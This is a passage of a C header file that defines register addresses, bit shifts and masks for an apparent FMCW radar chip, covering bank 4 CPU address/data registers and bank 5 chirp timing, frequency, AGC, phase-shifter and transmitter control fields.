#define RADIO_BK4_CPU_DATA27 0x36
#define RADIO_BK4_CPU_DATA27_SHIFT 0
#define RADIO_BK4_CPU_DATA27_MASK 0xff
#define RADIO_BK4_CPU_ADDR28 0x37
#define RADIO_BK4_CPU_ADDR28_SHIFT 0
#define RADIO_BK4_CPU_ADDR28_MASK 0xff
#define RADIO_BK4_CPU_DATA28 0x38
#define RADIO_BK4_CPU_DATA28_SHIFT 0
#define RADIO_BK4_CPU_DATA28_MASK 0xff
#define RADIO_BK4_CPU_ADDR29 0x39
#define RADIO_BK4_CPU_ADDR29_SHIFT 0
#define RADIO_BK4_CPU_ADDR29_MASK 0xff
#define RADIO_BK4_CPU_DATA29 0x3a
#define RADIO_BK4_CPU_DATA29_SHIFT 0
#define RADIO_BK4_CPU_DATA29_MASK 0xff
#define RADIO_BK4_CPU_ADDR30 0x3b
#define RADIO_BK4_CPU_ADDR30_SHIFT 0
#define RADIO_BK4_CPU_ADDR30_MASK 0xff
#define RADIO_BK4_CPU_DATA30 0x3c
#define RADIO_BK4_CPU_DATA30_SHIFT 0
#define RADIO_BK4_CPU_DATA30_MASK 0xff
#define RADIO_BK4_CPU_ADDR31 0x3d
#define RADIO_BK4_CPU_ADDR31_SHIFT 0
#define RADIO_BK4_CPU_ADDR31_MASK 0xff
#define RADIO_BK4_CPU_DATA31 0x3e
#define RADIO_BK4_CPU_DATA31_SHIFT 0
#define RADIO_BK4_CPU_DATA31_MASK 0xff
#define RADIO_BK4_CPU_ADDR32 0x3f
#define RADIO_BK4_CPU_ADDR32_SHIFT 0
#define RADIO_BK4_CPU_ADDR32_MASK 0xff
#define RADIO_BK4_CPU_DATA32 0x40
#define RADIO_BK4_CPU_DATA32_SHIFT 0
#define RADIO_BK4_CPU_DATA32_MASK 0xff
#define RADIO_BK4_CPU_ADDR33 0x41
#define RADIO_BK4_CPU_ADDR33_SHIFT 0
#define RADIO_BK4_CPU_ADDR33_MASK 0xff
#define RADIO_BK4_CPU_DATA33 0x42
#define RADIO_BK4_CPU_DATA33_SHIFT 0
#define RADIO_BK4_CPU_DATA33_MASK 0xff
#define RADIO_BK4_CPU_ADDR34 0x43
#define RADIO_BK4_CPU_ADDR34_SHIFT 0
#define RADIO_BK4_CPU_ADDR34_MASK 0xff
#define RADIO_BK4_CPU_DATA34 0x44
#define RADIO_BK4_CPU_DATA34_SHIFT 0
#define RADIO_BK4_CPU_DATA34_MASK 0xff
#define RADIO_BK4_CPU_ADDR35 0x45
#define RADIO_BK4_CPU_ADDR35_SHIFT 0
#define RADIO_BK4_CPU_ADDR35_MASK 0xff
#define RADIO_BK4_CPU_DATA35 0x46
#define RADIO_BK4_CPU_DATA35_SHIFT 0
#define RADIO_BK4_CPU_DATA35_MASK 0xff
#define RADIO_BK4_CPU_ADDR36 0x47
#define RADIO_BK4_CPU_ADDR36_SHIFT 0
#define RADIO_BK4_CPU_ADDR36_MASK 0xff
#define RADIO_BK4_CPU_DATA36 0x48
#define RADIO_BK4_CPU_DATA36_SHIFT 0
#define RADIO_BK4_CPU_DATA36_MASK 0xff
#define RADIO_BK4_CPU_ADDR37 0x49
#define RADIO_BK4_CPU_ADDR37_SHIFT 0
#define RADIO_BK4_CPU_ADDR37_MASK 0xff
#define RADIO_BK4_CPU_DATA37 0x4a
#define RADIO_BK4_CPU_DATA37_SHIFT 0
#define RADIO_BK4_CPU_DATA37_MASK 0xff
#define RADIO_BK4_CPU_ADDR38 0x4b
#define RADIO_BK4_CPU_ADDR38_SHIFT 0
#define RADIO_BK4_CPU_ADDR38_MASK 0xff
#define RADIO_BK4_CPU_DATA38 0x4c
#define RADIO_BK4_CPU_DATA38_SHIFT 0
#define RADIO_BK4_CPU_DATA38_MASK 0xff
#define RADIO_BK4_CPU_ADDR39 0x4d
#define RADIO_BK4_CPU_ADDR39_SHIFT 0
#define RADIO_BK4_CPU_ADDR39_MASK 0xff
#define RADIO_BK4_CPU_DATA39 0x4e
#define RADIO_BK4_CPU_DATA39_SHIFT 0
#define RADIO_BK4_CPU_DATA39_MASK 0xff
#define RADIO_BK4_CPU_ADDR40 0x4f
#define RADIO_BK4_CPU_ADDR40_SHIFT 0
#define RADIO_BK4_CPU_ADDR40_MASK 0xff
#define RADIO_BK4_CPU_DATA40 0x50
#define RADIO_BK4_CPU_DATA40_SHIFT 0
#define RADIO_BK4_CPU_DATA40_MASK 0xff
#define RADIO_BK4_CPU_ADDR41 0x51
#define RADIO_BK4_CPU_ADDR41_SHIFT 0
#define RADIO_BK4_CPU_ADDR41_MASK 0xff
#define RADIO_BK4_CPU_DATA41 0x52
#define RADIO_BK4_CPU_DATA41_SHIFT 0
#define RADIO_BK4_CPU_DATA41_MASK 0xff
#define RADIO_BK4_CPU_ADDR42 0x53
#define RADIO_BK4_CPU_ADDR42_SHIFT 0
#define RADIO_BK4_CPU_ADDR42_MASK 0xff
#define RADIO_BK4_CPU_DATA42 0x54
#define RADIO_BK4_CPU_DATA42_SHIFT 0
#define RADIO_BK4_CPU_DATA42_MASK 0xff
#define RADIO_BK4_CPU_ADDR43 0x55
#define RADIO_BK4_CPU_ADDR43_SHIFT 0
#define RADIO_BK4_CPU_ADDR43_MASK 0xff
#define RADIO_BK4_CPU_DATA43 0x56
#define RADIO_BK4_CPU_DATA43_SHIFT 0
#define RADIO_BK4_CPU_DATA43_MASK 0xff
#define RADIO_BK4_CPU_ADDR44 0x57
#define RADIO_BK4_CPU_ADDR44_SHIFT 0
#define RADIO_BK4_CPU_ADDR44_MASK 0xff
#define RADIO_BK4_CPU_DATA44 0x58
#define RADIO_BK4_CPU_DATA44_SHIFT 0
#define RADIO_BK4_CPU_DATA44_MASK 0xff
#define RADIO_BK4_CPU_ADDR45 0x59
#define RADIO_BK4_CPU_ADDR45_SHIFT 0
#define RADIO_BK4_CPU_ADDR45_MASK 0xff
#define RADIO_BK4_CPU_DATA45 0x5a
#define RADIO_BK4_CPU_DATA45_SHIFT 0
#define RADIO_BK4_CPU_DATA45_MASK 0xff
#define RADIO_BK4_CPU_ADDR46 0x5b
#define RADIO_BK4_CPU_ADDR46_SHIFT 0
#define RADIO_BK4_CPU_ADDR46_MASK 0xff
#define RADIO_BK4_CPU_DATA46 0x5c
#define RADIO_BK4_CPU_DATA46_SHIFT 0
#define RADIO_BK4_CPU_DATA46_MASK 0xff
#define RADIO_BK4_CPU_ADDR47 0x5d
#define RADIO_BK4_CPU_ADDR47_SHIFT 0
#define RADIO_BK4_CPU_ADDR47_MASK 0xff
#define RADIO_BK4_CPU_DATA47 0x5e
#define RADIO_BK4_CPU_DATA47_SHIFT 0
#define RADIO_BK4_CPU_DATA47_MASK 0xff
#define RADIO_BK4_CPU_ADDR48 0x5f
#define RADIO_BK4_CPU_ADDR48_SHIFT 0
#define RADIO_BK4_CPU_ADDR48_MASK 0xff
#define RADIO_BK4_CPU_DATA48 0x60
#define RADIO_BK4_CPU_DATA48_SHIFT 0
#define RADIO_BK4_CPU_DATA48_MASK 0xff
#define RADIO_BK4_CPU_ADDR49 0x61
#define RADIO_BK4_CPU_ADDR49_SHIFT 0
#define RADIO_BK4_CPU_ADDR49_MASK 0xff
#define RADIO_BK4_CPU_DATA49 0x62
#define RADIO_BK4_CPU_DATA49_SHIFT 0
#define RADIO_BK4_CPU_DATA49_MASK 0xff
#define RADIO_BK4_CPU_ADDR50 0x63
#define RADIO_BK4_CPU_ADDR50_SHIFT 0
#define RADIO_BK4_CPU_ADDR50_MASK 0xff
#define RADIO_BK4_CPU_DATA50 0x64
#define RADIO_BK4_CPU_DATA50_SHIFT 0
#define RADIO_BK4_CPU_DATA50_MASK 0xff
#define RADIO_BK4_CPU_ADDR51 0x65
#define RADIO_BK4_CPU_ADDR51_SHIFT 0
#define RADIO_BK4_CPU_ADDR51_MASK 0xff
#define RADIO_BK4_CPU_DATA51 0x66
#define RADIO_BK4_CPU_DATA51_SHIFT 0
#define RADIO_BK4_CPU_DATA51_MASK 0xff
#define RADIO_BK4_CPU_ADDR52 0x67
#define RADIO_BK4_CPU_ADDR52_SHIFT 0
#define RADIO_BK4_CPU_ADDR52_MASK 0xff
#define RADIO_BK4_CPU_DATA52 0x68
#define RADIO_BK4_CPU_DATA52_SHIFT 0
#define RADIO_BK4_CPU_DATA52_MASK 0xff
#define RADIO_BK4_CPU_ADDR53 0x69
#define RADIO_BK4_CPU_ADDR53_SHIFT 0
#define RADIO_BK4_CPU_ADDR53_MASK 0xff
#define RADIO_BK4_CPU_DATA53 0x6a
#define RADIO_BK4_CPU_DATA53_SHIFT 0
#define RADIO_BK4_CPU_DATA53_MASK 0xff
#define RADIO_BK4_CPU_ADDR54 0x6b
#define RADIO_BK4_CPU_ADDR54_SHIFT 0
#define RADIO_BK4_CPU_ADDR54_MASK 0xff
#define RADIO_BK4_CPU_DATA54 0x6c
#define RADIO_BK4_CPU_DATA54_SHIFT 0
#define RADIO_BK4_CPU_DATA54_MASK 0xff
#define RADIO_BK4_CPU_ADDR55 0x6d
#define RADIO_BK4_CPU_ADDR55_SHIFT 0
#define RADIO_BK4_CPU_ADDR55_MASK 0xff
#define RADIO_BK4_CPU_DATA55 0x6e
#define RADIO_BK4_CPU_DATA55_SHIFT 0
#define RADIO_BK4_CPU_DATA55_MASK 0xff
#define RADIO_BK4_CPU_ADDR56 0x6f
#define RADIO_BK4_CPU_ADDR56_SHIFT 0
#define RADIO_BK4_CPU_ADDR56_MASK 0xff
#define RADIO_BK4_CPU_DATA56 0x70
#define RADIO_BK4_CPU_DATA56_SHIFT 0
#define RADIO_BK4_CPU_DATA56_MASK 0xff
#define RADIO_BK4_CPU_ADDR57 0x71
#define RADIO_BK4_CPU_ADDR57_SHIFT 0
#define RADIO_BK4_CPU_ADDR57_MASK 0xff
#define RADIO_BK4_CPU_DATA57 0x72
#define RADIO_BK4_CPU_DATA57_SHIFT 0
#define RADIO_BK4_CPU_DATA57_MASK 0xff
#define RADIO_BK4_CPU_ADDR58 0x73
#define RADIO_BK4_CPU_ADDR58_SHIFT 0
#define RADIO_BK4_CPU_ADDR58_MASK 0xff
#define RADIO_BK4_CPU_DATA58 0x74
#define RADIO_BK4_CPU_DATA58_SHIFT 0
#define RADIO_BK4_CPU_DATA58_MASK 0xff
#define RADIO_BK4_CPU_ADDR59 0x75
#define RADIO_BK4_CPU_ADDR59_SHIFT 0
#define RADIO_BK4_CPU_ADDR59_MASK 0xff
#define RADIO_BK4_CPU_DATA59 0x76
#define RADIO_BK4_CPU_DATA59_SHIFT 0
#define RADIO_BK4_CPU_DATA59_MASK 0xff
#define RADIO_BK4_CPU_ADDR60 0x77
#define RADIO_BK4_CPU_ADDR60_SHIFT 0
#define RADIO_BK4_CPU_ADDR60_MASK 0xff
#define RADIO_BK4_CPU_DATA60 0x78
#define RADIO_BK4_CPU_DATA60_SHIFT 0
#define RADIO_BK4_CPU_DATA60_MASK 0xff
#define RADIO_BK4_CPU_ADDR61 0x79
#define RADIO_BK4_CPU_ADDR61_SHIFT 0
#define RADIO_BK4_CPU_ADDR61_MASK 0xff
#define RADIO_BK4_CPU_DATA61 0x7a
#define RADIO_BK4_CPU_DATA61_SHIFT 0
#define RADIO_BK4_CPU_DATA61_MASK 0xff
#define RADIO_BK4_CPU_ADDR62 0x7b
#define RADIO_BK4_CPU_ADDR62_SHIFT 0
#define RADIO_BK4_CPU_ADDR62_MASK 0xff
#define RADIO_BK4_CPU_DATA62 0x7c
#define RADIO_BK4_CPU_DATA62_SHIFT 0
#define RADIO_BK4_CPU_DATA62_MASK 0xff
#define RADIO_BK4_CPU_ADDR63 0x7d
#define RADIO_BK4_CPU_ADDR63_SHIFT 0
#define RADIO_BK4_CPU_ADDR63_MASK 0xff
#define RADIO_BK4_CPU_DATA63 0x7e
#define RADIO_BK4_CPU_DATA63_SHIFT 0
#define RADIO_BK4_CPU_DATA63_MASK 0xff
#define RADIO_BK5_FMCW_START_TIME_1_0 0x1
#define RADIO_BK5_FMCW_START_TIME_1_0_SHIFT 0
#define RADIO_BK5_FMCW_START_TIME_1_0_MASK 0xff
#define RADIO_BK5_FMCW_START_TIME_1_1 0x2
#define RADIO_BK5_FMCW_START_TIME_1_1_SHIFT 0
#define RADIO_BK5_FMCW_START_TIME_1_1_MASK 0xff
#define RADIO_BK5_FMCW_START_TIME_1_2 0x3
#define RADIO_BK5_FMCW_START_TIME_1_2_SHIFT 0
#define RADIO_BK5_FMCW_START_TIME_1_2_MASK 0xff
#define RADIO_BK5_FMCW_START_TIME_1_3 0x4
#define RADIO_BK5_FMCW_START_TIME_1_3_SHIFT 0
#define RADIO_BK5_FMCW_START_TIME_1_3_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_1_0 0x5
#define RADIO_BK5_FMCW_START_FREQ_1_0_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_1_0_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_1_1 0x6
#define RADIO_BK5_FMCW_START_FREQ_1_1_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_1_1_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_1_2 0x7
#define RADIO_BK5_FMCW_START_FREQ_1_2_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_1_2_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_1_3 0x8
#define RADIO_BK5_FMCW_START_FREQ_1_3_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_1_3_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_1_0 0x9
#define RADIO_BK5_FMCW_STOP_FREQ_1_0_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_1_0_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_1_1 0xa
#define RADIO_BK5_FMCW_STOP_FREQ_1_1_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_1_1_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_1_2 0xb
#define RADIO_BK5_FMCW_STOP_FREQ_1_2_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_1_2_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_1_3 0xc
#define RADIO_BK5_FMCW_STOP_FREQ_1_3_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_1_3_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_0 0xd
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_0_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_0_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_1 0xe
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_1_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_1_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_2 0xf
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_2_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_2_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_3 0x10
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_3_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_1_3_MASK 0xf
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_0 0x11
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_0_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_0_MASK 0xff
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_1 0x12
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_1_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_1_MASK 0xff
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_2 0x13
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_2_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_2_MASK 0xff
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_3 0x14
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_3_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_1_3_MASK 0xf
#define RADIO_BK5_FMCW_IDLE_1_0 0x15
#define RADIO_BK5_FMCW_IDLE_1_0_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_1_0_MASK 0xff
#define RADIO_BK5_FMCW_IDLE_1_1 0x16
#define RADIO_BK5_FMCW_IDLE_1_1_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_1_1_MASK 0xff
#define RADIO_BK5_FMCW_IDLE_1_2 0x17
#define RADIO_BK5_FMCW_IDLE_1_2_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_1_2_MASK 0xff
#define RADIO_BK5_FMCW_IDLE_1_3 0x18
#define RADIO_BK5_FMCW_IDLE_1_3_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_1_3_MASK 0xff
#define RADIO_BK5_FMCW_CHIRP_SIZE_1_0 0x19
#define RADIO_BK5_FMCW_CHIRP_SIZE_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CHIRP_SIZE_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CHIRP_SIZE_1_1 0x1a
#define RADIO_BK5_FMCW_CHIRP_SIZE_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CHIRP_SIZE_1_1_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_HP_1_0 0x1b
#define RADIO_BK5_FMCW_START_FREQ_HP_1_0_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_HP_1_0_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_HP_1_1 0x1c
#define RADIO_BK5_FMCW_START_FREQ_HP_1_1_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_HP_1_1_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_HP_1_2 0x1d
#define RADIO_BK5_FMCW_START_FREQ_HP_1_2_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_HP_1_2_MASK 0xff
#define RADIO_BK5_FMCW_START_FREQ_HP_1_3 0x1e
#define RADIO_BK5_FMCW_START_FREQ_HP_1_3_SHIFT 0
#define RADIO_BK5_FMCW_START_FREQ_HP_1_3_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_0 0x1f
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_0_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_0_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_1 0x20
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_1_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_1_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_2 0x21
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_2_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_2_MASK 0xff
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_3 0x22
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_3_SHIFT 0
#define RADIO_BK5_FMCW_STOP_FREQ_HP_1_3_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_0 0x23
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_0_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_0_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_1 0x24
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_1_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_1_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_2 0x25
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_2_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_2_MASK 0xff
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_3 0x26
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_3_SHIFT 0
#define RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_3_MASK 0xf
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_0 0x27
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_0_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_0_MASK 0xff
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_1 0x28
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_1_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_1_MASK 0xff
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_2 0x29
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_2_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_2_MASK 0xff
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_3 0x2a
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_3_SHIFT 0
#define RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_3_MASK 0xf
#define RADIO_BK5_FMCW_IDLE_HP_1_0 0x2b
#define RADIO_BK5_FMCW_IDLE_HP_1_0_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_HP_1_0_MASK 0xff
#define RADIO_BK5_FMCW_IDLE_HP_1_1 0x2c
#define RADIO_BK5_FMCW_IDLE_HP_1_1_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_HP_1_1_MASK 0xff
#define RADIO_BK5_FMCW_IDLE_HP_1_2 0x2d
#define RADIO_BK5_FMCW_IDLE_HP_1_2_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_HP_1_2_MASK 0xff
#define RADIO_BK5_FMCW_IDLE_HP_1_3 0x2e
#define RADIO_BK5_FMCW_IDLE_HP_1_3_SHIFT 0
#define RADIO_BK5_FMCW_IDLE_HP_1_3_MASK 0xff
#define RADIO_BK5_FMCW_AGC_EN_1 0x2f
#define RADIO_BK5_FMCW_AGC_EN_1_AGC_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_AGC_EN_1_AGC_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_AGC_EN_1_AGC_FRM_CNT_PARITY_1_SHIFT 1
#define RADIO_BK5_FMCW_AGC_EN_1_AGC_FRM_CNT_PARITY_1_MASK 0x1
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_0 0x30
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_1 0x31
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_1_MASK 0xff
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_2 0x32
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_2_SHIFT 0
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_2_MASK 0xff
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_3 0x33
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_3_SHIFT 0
#define RADIO_BK5_FMCW_CS_AVA_DLY_1_3_MASK 0xff
#define RADIO_BK5_FMCW_CS_AVA_EN_1 0x34
#define RADIO_BK5_FMCW_CS_AVA_EN_1_CS_AVA_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_CS_AVA_EN_1_CS_AVA_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_CS_AVA_EN_1_CS_AVA_PARITY_1_SHIFT 1
#define RADIO_BK5_FMCW_CS_AVA_EN_1_CS_AVA_PARITY_1_MASK 0x1
#define RADIO_BK5_FMCW_CS_AVA_EN_1_CS_AVA_TX_SEL_1_SHIFT 2
#define RADIO_BK5_FMCW_CS_AVA_EN_1_CS_AVA_TX_SEL_1_MASK 0x3
#define RADIO_BK5_FMCW_CS_DLY_1_0 0x35
#define RADIO_BK5_FMCW_CS_DLY_1_0_SHIFT 0
#define RADIO_BK5_FMCW_CS_DLY_1_0_MASK 0xff
#define RADIO_BK5_FMCW_CS_DLY_1_1 0x36
#define RADIO_BK5_FMCW_CS_DLY_1_1_SHIFT 0
#define RADIO_BK5_FMCW_CS_DLY_1_1_MASK 0xff
#define RADIO_BK5_FMCW_CS_DLY_1_2 0x37
#define RADIO_BK5_FMCW_CS_DLY_1_2_SHIFT 0
#define RADIO_BK5_FMCW_CS_DLY_1_2_MASK 0xff
#define RADIO_BK5_FMCW_CS_DLY_1_3 0x38
#define RADIO_BK5_FMCW_CS_DLY_1_3_SHIFT 0
#define RADIO_BK5_FMCW_CS_DLY_1_3_MASK 0xff
#define RADIO_BK5_FMCW_CS_EN_1 0x39
#define RADIO_BK5_FMCW_CS_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_CS_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_HP_EN_1 0x3a
#define RADIO_BK5_FMCW_HP_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_HP_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_0 0x3b
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX0_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX0_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX1_EN_1_SHIFT 1
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX1_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX2_EN_1_SHIFT 2
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX2_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX3_EN_1_SHIFT 3
#define RADIO_BK5_FMCW_PS_CTRL_1_0_PS_BYPR_TX3_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_1 0x3c
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX0_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX0_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX1_EN_1_SHIFT 1
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX1_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX2_EN_1_SHIFT 2
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX2_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX3_EN_1_SHIFT 3
#define RADIO_BK5_FMCW_PS_CTRL_1_1_PS_OPST_TX3_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_EN_1 0x3d
#define RADIO_BK5_FMCW_PS_EN_1_PS_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_PS_EN_1_PS_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_PS_EN_1_PS_S_1_SHIFT 1
#define RADIO_BK5_FMCW_PS_EN_1_PS_S_1_MASK 0x1
#define RADIO_BK5_FMCW_TX0_CTRL_1_0 0x3e
#define RADIO_BK5_FMCW_TX0_CTRL_1_0_F3C_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_TX0_CTRL_1_0_F3C_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_TX0_CTRL_1_0_F3C_SEL_1_SHIFT 1
#define RADIO_BK5_FMCW_TX0_CTRL_1_0_F3C_SEL_1_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_1 0x3f
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_4_SHIFT 0
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_4_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_3_SHIFT 2
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_3_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_2_SHIFT 4
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_2_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_1_SHIFT 6
#define RADIO_BK5_FMCW_TX0_CTRL_1_1_VAM_1_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_2 0x40
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_EN_SHIFT 0
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_EN_MASK 0x1
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_P_SHIFT 1
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_P_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_S_SHIFT 3
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_S_MASK 0x1
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_OFF_S_SHIFT 4
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_OFF_S_MASK 0x3
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_RM_SHIFT 6
#define RADIO_BK5_FMCW_TX0_CTRL_1_2_VAM_RM_MASK 0x1
#define RADIO_BK5_FMCW_TX1_CTRL_1_0 0x41
#define RADIO_BK5_FMCW_TX1_CTRL_1_0_F3C_EN_1_SHIFT 0
#define RADIO_BK5_FMCW_TX1_CTRL_1_0_F3C_EN_1_MASK 0x1
#define RADIO_BK5_FMCW_TX1_CTRL_1_0_F3C_SEL_1_SHIFT 1
